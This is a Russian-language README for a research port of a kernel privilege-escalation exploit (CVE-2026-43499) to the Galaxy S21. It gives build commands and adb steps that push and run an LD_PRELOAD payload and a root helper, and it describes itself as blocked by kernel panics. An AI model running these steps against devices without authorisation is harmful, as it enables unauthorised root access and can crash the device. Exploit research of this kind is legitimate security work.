IonStack_S21 — порт эксплойта CVE-2026-43499 для Galaxy S21 (SM-G991B)

Специфичная для устройства полезная нагрузка IonStack для Samsung Galaxy S21 (o1s) на прошивке G991BXXSJHZC2. Даёт волатильный root через LD_PRELOAD-эксплойт + root-helper демон call_usermodehelper (та же схема, что в IonStack-S22U / IONSTACK-S22). Статус: исследование — заблокировано, см. RESEARCH.md.

Основано на реализации IonStack CVE-2026-43499, опубликованной в NebuSec/CyberMeowfia (upstream b850d3bddc74c3328d5fbcc0568d21962b55d949) и BuSung-dev/CVE-2026-43499-S25U, с благодарностью F-19-F/IonStackQuest3. Оригинальная лицензия Apache License 2.0 сохранена в LICENSE (см. NOTICE).

Структура

Makefile                  build (NDK r27+, ANDROID_NDK_HOME)
src/                      exploit source (o1s profile only)
src/targets/o1s-G991BXXSJHZC2/  target.h + p0_fingerprint.h
src/kernelsnitch/         mm_struct leak (futex hash collision)
tools/                    p0 fingerprint helper
RESEARCH.md               research notes (geometry, verdicts)

Сборка

export ANDROID_NDK_HOME=/path/to/android-ndk
make clean all
# SLIDE_WRITER_SEL=1|2|3 selects mcast/sigreturn(default)/xattr writers.
# Unset selects the experimental pselect writer (see RESEARCH.md).

Выходные файлы (build/o1s-G991BXXSJHZC2/): cve-2026-43499 (LD_PRELOAD payload), cve-2026-43499-app.so (app payload), cve-2026-43499-root (root helper).

Развёртывание и запуск

adb push build/o1s-G991BXXSJHZC2/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/o1s-G991BXXSJHZC2/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
# on success:
/adb shell "/data/local/tmp/cve-2026-43499-root -c 'id; getenforce'"

Root (если достигнут) существует только до перезагрузки; ничего не прошивается.

Статус / предупреждения

• Заблокировано, отложено с доказательствами — полный отчёт см. в RESEARCH.md. Стадия гонки вызывает панику ядра (sched_setattr → rt_mutex_adjust_prio_chain → _raw_spin_trylock NULL fault), так и не устанавливая метку: 8-байтовое поле lock находится в copy-gap, который не покрывается ни одним из исследованных блокирующих системных вызовов (проверенная дизассемблированием карта глубин по системным вызовам в RESEARCH.md). Шлюз pipe-reclaim систематически промахивается (0/0).
• Чувствительно к таймингам; ожидайте паники ядра. Перезагружайте для чистых slab, держите устройство в покое во время работы. /data/local/tmp очищается при перезагрузке — повторно загружайте бинарники после каждой загрузки.
• Используйте только на устройствах, которыми владеете или на которые у вас есть явное разрешение на тестирование.